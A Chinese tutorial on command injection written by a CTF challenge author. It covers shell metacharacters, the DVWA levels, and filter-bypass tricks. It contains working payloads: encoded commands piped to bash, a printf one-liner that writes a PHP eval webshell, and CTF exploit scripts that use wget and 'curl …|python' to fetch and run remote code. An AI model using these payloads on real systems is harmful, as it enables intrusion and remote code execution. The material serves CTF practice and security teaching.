巧用命令注入的N种方式

​ 本文首发于补天平台,地址:https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw

NUAACTF_2018中,我出了一道比较水的采用Spring框架的SSRF+Java Deserialization+Command Injection。个人觉得在出题时候也学习到了不少知识,特别是在Command Injection这一块让我对Command Injection有了新的看法。

[TOC]

命令注入

理论基础

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code.

以上来自Command Injection - OWASP,翻译过来就是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)传递给系统shell时,可能会发生命令注入攻击。 在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。 命令注入攻击很可能主要是由于输入验证不足。此攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。 在命令注入中,攻击者扩展了执行系统命令的应用程序的默认功能,而无需注入代码。

​ 命令注入攻击最初被称为Shell命令注入攻击,是由挪威一名程序员在1997年意外发现的。第一个命令注入攻击程序能随意地从一个网站删除网页,就像从磁盘或者硬盘移除文件一样简单。 ——百度百科

特殊符号

讲到命令注入,就不得不提到特殊符号的运用。例如上面例子中的|管道符,还有比较多的类似有奇效的符号组合。

|

连结上个指令的标准输出,做为下个指令的标准输入。

&

用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台执行。后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,在命令的后面加上&

Linux中的&&与||

shell在执行某个命令的时候,会返回一个返回值,该返回值保存在shell变量 $? 中。当 $? == 0 时,表示执行成功;当 $? == 1 时,表示执行失败。有时候,下一条命令依赖前一条命令是否执行成功。如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。shell提供了&&||来实现命令执行控制的功能,shell将根据&&||前面命令的返回值来控制其后面命令的执行。

&&

语法格式如下:

command1 && command2 [&& command3 ...]  
  • 命令之间使用 && 连接,实现逻辑与的功能。

  • 只有在&&左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行

  • 只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行

1
$ cp ~/Desktop/1.txt ~/1.txt && rm ~/Desktop/1.txt && echo "success"  

示例 中的命令首先从~/Desktop目录复制 1.txt文件到~目录;执行成功后,使用rm删除源文件;如果删除成功则输出提示信息。

||

语法格式如下:

command1 || command2 [|| command3 ...]  
  • 命令之间使用 || 连接,实现逻辑或的功能。

  • 只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。这和c语言中的逻辑或语法功能相同,即实现短路逻辑或操作。

  • 只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。

1
$ rm ~/Desktop/1.txt || echo "fail"  

如果 ~/Desktop 目录下不存在文件 1.txt,将输出提示信息。

;分号

当有几个命令要连续执行时,我们可以把它们放在一行内,中间用;分开。

`反引号(重音符)

命令替代,大部分Unix shell以及编程语言如PerlPHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。例如以下指令:

1
2
3
4
5
6
7
echo It is now `date` 

等价于:
echo It is now 一 12月 17 12:16:04 GMT 2018

在正式执行时会产生以下输出结果:
It is now 一 12月 17 12:16:04 GMT 2018

‘单引号

被单引号括住的内容,将被视为单一字符串。在引号内的变量$符号将会失效,也就是说,将被视作一般符号处理。

“双引号

被双引号括住的内容,将被视为单一字符串,防止通配符的扩展,但允许变量扩展 ,这点与单引号的处理方式不同

()指令群组

格式为:(command1;command2[;command3…])

  • 一条命令需要独占一个物理行,如果需要将多条命令放在同一行,命令之间使用命令分隔符(;)分隔。执行的效果等同于多个独立的命令单独执行的效果。
  • 表示在当前 shell 中将多个命令作为一个整体执行。需要注意的是,使用 () 括起来的命令在执行前面都不会切换当前工作目录,也就是说命令组合都是在当前工作目录下被执行的,尽管命令中有切换目录的命令。
  • 命令组合常和命令执行控制结合起来使用。

用括号将一串连续指令括起来,这种用法对shell来说,称为指令群组。如下面的例子:

1
(cd ~ ; vcgh=`pwd` ;echo $vcgh)

指令群组有一个特性,shell会以产生subshell来执行这组指令。

1
2
3
$ rm ~/Desktop/1.txt || (cd ~/Desktop/;ls -a;echo "fail")  

如果目录 ~/Desktop 下不存在文件 1.txt,则执行命令组合。

(())

这组符号的作用与 let 指令相似,用在算数运算上,是 bash 的内建功能。所以,在执行效率上会比使用 let指令要好许多。

1
#!/bin/bash(( a = 10 ))echo -e "inital value, a = $a\n"(( a++))echo "after a++, a = $a"

{}大括号

其实大括号有一种拼接字符串的用法,{xx,yy,zz,...}这种大括号的组合,常用在字串的组合上,来看个例子

1
mkdir {userA,userB,userC}-{home,bin,data}

我们得到userA-home, userA-bin, userA-data, userB-home, userB-bin,userB-data, userC-home, userC-bin,userC-data。于是我们可以有

1
2
3
4
5
$ cat {/fl,/fla}{ag,g}
flag{xxx}
cat: /flg: No such file or directory
cat: /flaag: No such file or directory
flag{xxx}

[]中括号

常出现在流程控制中,扮演括住判断式的作用。if [ "$?" != 0 ]thenecho "Executes error"exit1fi。这个符号在正则表达式中担任类似 “范围” 或 “集合” 的角色。

1
2
$ cat /fl[0-z]g
flag{xxx}

[[ ]]

这组符号与先前的 [] 符号,基本上作用相同,但她允许在其中直接使用||&&逻辑等符号。

1
#!/bin/bashread akif [[ $ak > 5 || $ak< 9 ]]thenecho $akfi

小括号,中括号,和大括号的区别

那么,下面又涉及到了一个问题,就是小括号,中括号,和大括号的区别。

  1. 单小括号,(cmd1;cmd2;cmd3) 新开一个子shell顺序执行命令cmd1,cmd2,cmd3, 各命令之间用分号隔开, 最后一个命令后可以没有分号。把command group放在subshell去执行,也叫做nested sub-shell
  2. 单大括号,{ cmd1;cmd2;cmd3;} 在当前shell顺序执行命令cmd1,cmd2,cmd3, 各命令之间用分号隔开, 最后一个命令后必须有分号, 第一条命令和左括号之间必须用空格隔开。花括号是在同一个 shell 內完成,也称为 non-namedcommand group

所以说,如果在shell里面执行“函数”,需要用到{},实际上也就是一个命令群组么。
不过,根据实测,test=$(ls -a)可以执行,但是test=${ls–a}语法上面是有错误的。估计也和上面所说的原因有关。

另外,从网上摘录的区别如下:

  • ()只是对一串命令重新开一个子shell进行执行

  • {}对一串命令在当前shell执行

  • ()和{}都是把一串的命令放在括号里面,并且命令之间用;号隔开

  • ()最后一个命令可以不用分号

  • {}最后一个命令要用分号

  • {}的第一个命令和左括号之间必须要有一个空格

  • ()里的各命令不必和括号有空格

  • ()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令

这里引出来[..][[...]]的区别:使用[[...]]条件判断结构, 而不是[...], 能够防止脚本中的许多逻辑错误.比如&&, ||,<,和> 操作符能够正常存在于[[ ]]条件判断结构中, 但是如果出现在[]结构中的话,会报错。

{}()而言, 括号中的重定向符只影响该条命令, 而括号外的重定向符影响到括号中的所有命令。

输入输出/重定向

1
>      >>   <   <<   :>   &>   2&>   2<>>&   >&2

文件描述符(File Descriptor),用一个数字(通常为0-9)来表示一个文件。

文件描述符 名称 常用缩写 默认值
0 标准输入 stdin 键盘
1 标准输出 stdout 屏幕
2 标准错误输出 stderr 屏幕

我们在简单地用<>时,相当于使用0<1>(下面会详细介绍)。

  • cmd > file
    把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。

  • cmd >> file
    把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。

  • cmd < file
    使cmd命令从file读入

  • cmd << text
    从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用<<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。

  • cmd <<< word
    把word(而不是文件word)和后面的换行作为输入提供给cmd。

  • cmd <> file
    以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

  • cmd >| file
    功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。

  • : > filename

    把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch的效果相同).

  • cmd >&n

    把输出送到文件描述符n

  • cmd m>&n

    把输出到文件符m的信息重定向到文件描述符n

  • cmd >&-

    关闭标准输出

  • cmd <&n

    输入来自文件描述符n

  • cmd m<&n

    m来自文件描述各个n

  • cmd <&-

    关闭标准输入

  • cmd <&n-

    移动输入文件描述符n而非复制它。

  • cmd >&n-

    移动输出文件描述符n而非复制它。
    注意: >&实际上复制了文件描述符,这使得cmd > file 2>&1cmd 2>&1 >file的效果不一样。

通配符

还有一类通配符,首先先了解下什么是Linux shell通配符/glob模式:

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的 /etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

语法

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] [^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
! 执行 history 中的命令

以及还有专用字符集

字符 意义
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符
  • 在使用专属字符集的时候,字符集之外还需要用 [ ] 来包含住,否则专用字符集不会生效,例如[[:space:]]
  • 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
  • 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符

举个🌰

以下事例Example 1-6来源于OWASP

Example 1

以下代码是UNIX命令cat的包装器,它将文件的内容打印到标准输出。 它也是可以被注入的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
char cat[] = "cat ";
char *command;
size_t commandLength;

commandLength = strlen(cat) + strlen(argv[1]) + 1;
command = (char *) malloc(commandLength);
strncpy(command, cat, commandLength);
strncat(command, argv[1], (commandLength - strlen(cat)) );

system(command);
return (0);
}

我们编译完之后可以通过以下操作正常使用

1
2
$ ./catWrapper Story.txt
When last we left our heroes...

但是,如果我们在这行的末尾之后加一个;和另一个命令,那么命令catWrapper执行而且也不会出错。

1
2
3
4
5
6
7
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt doubFree.c nullpointer.c
unstosig.c www* a.out*
format.c strlen.c useFree*
catWrapper* misnull.c strlength.c useFree.c
commandinjection.c nodefault.c trunc.c writeWhatWhere.c

如果将catWrapper设置为具有比标准用户更高的权限级别,则可以使用该更高权限执行任意命令。

Example 2

以下简单程序接受文件名作为命令行参数,并将文件的内容显示给用户。 该程序安装了setuid root,假设原本它旨在用作学习工具,允许系统管理员在培训中检查特权系统文件,而不会让他们修改它们或损坏系统。

1
2
3
4
5
int main(char* argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}

由于程序以root权限运行,因此对system()的调用也以root权限执行。 如果用户指定标准文件名,则程序调用会按预期工作。 但是,如果攻击者传递1; rm -rf /形式的字符串,无论当前目录是否有1这个文件,都会继续向下执行rm -rf /

Example 3

本例中,本程序拥有对应的权限,使用环境变量$APPHOME来确定应用程序的安装目录,然后在该目录中执行初始化脚本

1
2
3
4
5
6
7
char* home=getenv("APPHOME");
char* cmd=(char*)malloc(strlen(home)+strlen(INITCMD));
if (cmd) {
strcpy(cmd,home);
strcat(cmd,INITCMD);
execl(cmd, NULL);
}

本例前提与Example 2中一样,此示例中的代码允许攻击者使用应用程序的提升权限执行任意命令。在此示例中,攻击者可以修改环境变量$APPHOME通过制定不同的路径以使用含有恶意代码的INITCMD。 由于程序不验证从getenv()读取的值,因此通过控制环境变量,攻击者可以欺骗应用程序运行恶意代码。

攻击者使用环境变量来控制程序调用的命令,因此在此示例中环境变量的影响是非常巨大的。

Example 4

下面的代码来自基于WebCGI实用程序,允许用户更改其密码。 NIS下的密码更新过程包括在/var/yp目录中运行make。 请注意,由于程序更新密码记录,因此已安装setuid root。函数对make调用如下:

1
system("cd /var/yp && make &> /dev/null");

与前面的示例不同,此示例中的命令是没有可控输入的硬编码,因此攻击者无法控制传递给system()的参数。但是,由于程序没有为make指定绝对路径,并且在调用命令之前没有擦除任何环境变量,因此攻击者可以修改其$PATH变量以指向名为make的恶意二进制文件,并从中执行CGI脚本。shell提示。由于该程序已经安装了setuid root,因此攻击者的make版本现在以root权限运行。

环境在程序中执行系统命令方面发挥着重要作用。system()exec()之类的函数使用调用它们的程序环境,因此攻击者有可能影响这些调用的行为。

有很多文章会提到JavaRuntime.execC的系统功能完全相同。其实不然。虽然两者都允许调用新的程序/进程,但是,C的系统函数将其参数传递给要解析的shell(/bin/sh),而Runtime.exec尝试将字符串拆分为单词数组,然后使用其余单词执行数组中的第一个单词作为参数。Runtime.exec不会尝试在任何时候调用shell。关键的区别在于shell提供的大部分功能可被恶意利用的点(例如&&|||等链接命令,重定向输入和输出)将简单地结束作为传递给第一个命令的参数,可能导致语法错误,或被抛出作为无效参数。

Example 5

以下简单的代码片段易受Unix/Linux平台上的OS命令注入攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char command[256];

if(argc != 2) {
printf("Error: Please enter a program to time!\n");
return -1;
}

memset(&command, 0, sizeof(command));

strcat(command, "time ./");
strcat(command, argv[1]);

system(command);
return 0;
}

如果这是一个suid二进制文件,请考虑攻击者输入以下内容的情况:ls; cat /etc/passwd。 在Unix环境中,shell命令用分号分隔。 我们现在可以随意执行系统命令!

Example 6

1
2
3
4
5
6
<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>

以下成功攻击的示例:

Request:

1
http://127.0.0.1/delete.php?filename=bob.txt;id

Response:

1
2
3
Please specify the name of the file to delete

uid=33(www-data) gid=33(www-data) groups=33(www-data)

再举个🌰

?的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ cat /fl??
NUAACTF{56723419231}

$ cat /???/??ss
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
_apt:x:102:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:107:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

[…]的使用

[...]匹配方括号之中的任意一个字符,比如[aeiou]可以匹配五个元音字母。

1
2
3
4
5
6
7
8
9
10
11
12
# 存在文件 a.txt 和 b.txt 和 c.txt 和 ab.txt
$ ls [ab].txt
a.txt b.txt

$ ls *[ab].txt
ab.txt a.txt b.txt

$ ls [a-c].txt
a.txt b.txt c.txt

$ ls *[a-c].txt
a.txt ab.txt abc.txt b.txt c.txt

{…}的使用

{...} 表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

1
2
3
4
5
6
7
8
9
10
$ echo d{a,e,i,u,o}g
dag deg dig dug dog

# 大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png

# {start..end}匹配连续字符
$ cat /f{0..z}ag
NUAACTF{56723419231}

{...}[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

1
2
3
4
5
6
7
# 不存在 a.txt 和 b.txt
$ ls [ab].txt
ls: [ab].txt: No such file or directory

$ ls {a,b}.txt
ls: a.txt: No such file or directory
ls: b.txt: No such file or directory

Tips

在使用过程中应该注意:

  1. 通配符是先解释,再执行。

    Bash 接收到命令以后,发现里面有通配符,会进行通配符扩展,然后再执行命令。

    1
    2
    3
    4
    $ ls a*.txt
    ab.txt

    # 上面命令的执行过程是,Bash 先将a*.txt扩展成ab.txt,然后再执行ls ab.txt。
  2. 通配符不匹配,会原样输出。

    Bash 扩展通配符的时候,发现不存在匹配的文件,会将通配符原样输出。

    1
    2
    3
    4
    $ ls *.csv
    ls: *.csv: No such file or directory

    # 另外,前面已经说过,这条规则对{...}不适用
  3. 只适用于单层路径。

    上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?*这样的通配符,不能匹配路径分隔符(/)。

    如果要匹配子目录里面的文件,可以写成下面这样。

    1
    $ ls */*.txt
  4. 可用于文件名。

    Bash 允许文件名使用通配符。这时,引用文件名的时候,需要把文件名放在单引号里面。

    1
    2
    3
    4
    5
    $ touch 'fo*'
    $ ls
    fo*

    # 上面代码创建了一个fo*文件,这时*就是文件名的一部分。

运用

DVWA为例

Command Injection: low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

这里没有对ip进行输入检测,所以我们可以使用;cmd的方式进行命令注入。

####Command Injection: medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

这里仅仅只是增加了&&;两个的过滤。然而我们仍然可以使用|来进行绕过。

####Command Injection: high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

这里仔细观察,其实|管道符这里有一个空格,所以我们mediumpayload还可以继续使用,但是如果真的过滤了|怎么办呢。我们其实还可以抓包加入%0a换行符进行一个绕过。使用127.0.0.1 %0acat /etc/passwd进行绕过

Command Injection: impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里对ip.分组并检查了是否为数字,增加了更多的过滤,所以没办法使用之前那些trick来进行绕过了。

常用绕过

命令分隔与执行多条命令

Unix上:

1
2
3
4
5
6
7
8
%0a
%0d
;
&
|
$(shell_command)
`shell_command`
{shell_command,}

Windows上:

1
2
3
4
%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符

例如:

1
2
3
4
5
6
7
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

可以利用%1a绕过

1
dir=../ %1a whoami

比较老的php版本,如5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

1
2
3
escapeshellcmd("echo ".chr(0xc0).";id");

//echo 繺;id

空格绕过

  1. 使用<或者<>

    1
    2
    3
    4
    5
    $ cat</flag
    flag{xxx}

    $ cat<>/flag
    flag{xxx}
  2. 使用IFS或者

    1
    2
    3
    4
    5
    6
    7
    8
    $ cat$IFS$9/flag
    flag{xxx}

    $ cat${IFS}/flag
    flag{xxx}

    $ cat$IFS/flag
    flag{xxx}
  3. url的编码绕过

    这里我fuzz了一下,Linux bash可以使用%20(space)%09(tab)%3c(<)以及+来绕过

  4. 花括号拓展{OS_COMMAND,ARGUMENT}

    Linux bash中还可以使用{cat,/etc/passwd}来绕过

  5. 变量控制

    1
    2
    3
    4
    5
    6
    7
    $ X=$'cat\x20/flag'&&$X
    flag{xxx}

    $ X=$'cat\x09/flag'&&$X
    flag{xxx}

    #这里\x3c不可以
  6. 采用$@绕过

    1
    2
    3
    4
    5
    6
    7
    8
    $ c$@at /fl$@ag
    flag{xxx}

    $ echo i$@d
    id

    $ echo i$@d|$0
    uid=0(root) gid=0(root) groups=0(root)

黑名单绕过

  1. 采用变量

    1
    2
    3
    4
    5
    $ a=l;b=s;$a$b
    bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

    $ a=c;b=at;c=flag;$a$b $c
    flag{xxx}
  2. 编码绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    $ echo "Y2F0IC9mbGFn"|base64 -d|bash
    flag{xxx}

    #base64_endcode("cat /flag") => Y2F0IC9mbGFn
    #base64可能会出现/

    $ echo "636174202f666c6167" | xxd -r -p|bash #hex
    flag{xxx}

    $ $(printf "\154\163") #oct
    bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

    $ $(cat /flag)
    bash: flag{xxx}: 未找到命令

    $ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
    flag{xxx}

    $ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
    flag{xxx}

    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    $ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  3. 单引号双引号

    1
    2
    $ c"a"t /f''l'a'g
    flag{xxx}
  4. 反斜线

    1
    2
    $ c\a\t /f\l\ag
    flag{xxx}
  5. 利用已经存在的资源

    1
    2
    3
    4
    5
    $ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

    $ echo $PATH| cut -c 1
    /
  6. 利用一些已有字符

    • ${PS2} 对应字符 >
    • ${PS4} 对应字符 +
    • ${IFS} 对应 内部字段分隔符
    • ${9} 对应 空字符串

举个🌰

短命令执行

首先按照前面的>的用法,我们可以知道有标准输出可以输出到文件,所以

这里我们有两种构造方式:

  1. 只用\分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a输出到a文件,这里可能有一点误解,这里是输入

    1
    2
    3
    4
    $ >ec\
    ho\
    \ 1
    #这个方法前面不需要加>,最后用\转义空格

  1. 使用\\,这种方法是利用\来拼接字符串,其中前一个\是用来转义后一个\的。这里需要考虑时间顺序,需要逆序来创建文件。

Example 1 七字绕过

这里是个p牛出的题

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

我们可以分别通过发送

1
2
3
4
5
6
7
8
9
10
?1=>hp
?1=>ell.p\\
?1=>\ sh\\
?1=>\ -O\\
?1=>com\\
?1=>x.\\
?1=>\ xx\\
?1=>wget\\
?1=ls -t>a
?1=sh a

也就是我们上述的第二个方法写入一个a文件,其中xxx.com可以替换为自己的域名,但是这里要注意,不能以.开头,因为ls -t>a无法将隐藏文件名写入a

贴一下p牛的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
#-*- coding: utf-8 -*-

import requests
def GetShell():
url = "http://192.168.56.129/shell.php?1="
fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]
# linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
# 可以修改hosts文件,让a.cn指向一个自己的服务器。
# 在a.cn 的根目录下创建index.html ,内容是一个php shell

for fileName in fileNames:
createFileUrl = url+">"+fileName
print createFileUrl
requests.get(createFileUrl)

getShUrl = url + "ls -t>1"
print getShUrl
requests.get(getShUrl)
getShellUrl = url + "sh 1"
print getShellUrl
requests.get(getShellUrl)

shellUrl = "http://192.168.56.129/1.php"
response = requests.get(shellUrl)
if response.status_code == 200:
print "[*] Get shell !"
else :
print "[*] fail!"

if __name__ == "__main__":
GetShell()

Example 2 五字绕过 [HITCON CTF 2017-BabyFirst Revenge]

源码:

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这里需要我们注意的是cmd <= 5,所以我们就不能在使用ls -t>a

但是我们还是可以通过比较巧妙的构造来实现ls -t>a这么一个操作的。可以先通过把ls -t>a这样拆分成几段写入到_文件存放。

从图中我们就可以看到_里面的内容,第一行无效命令,2-5行因为末尾有\连接字符的存在所以可以连接字符串形成ls -t>g,最后一行执行ls。所以sh _我们可以得到当前目录ls -t>g的效果。达到与Example 1一致的效果,其他步骤与Example 1类似,就不再赘述了。下面给出Orangeexp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw>python`
# curl shell.0xb.pw|python
'>on',
'>th\\',
'>py\\',
'>\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
assert len(i) <= 5
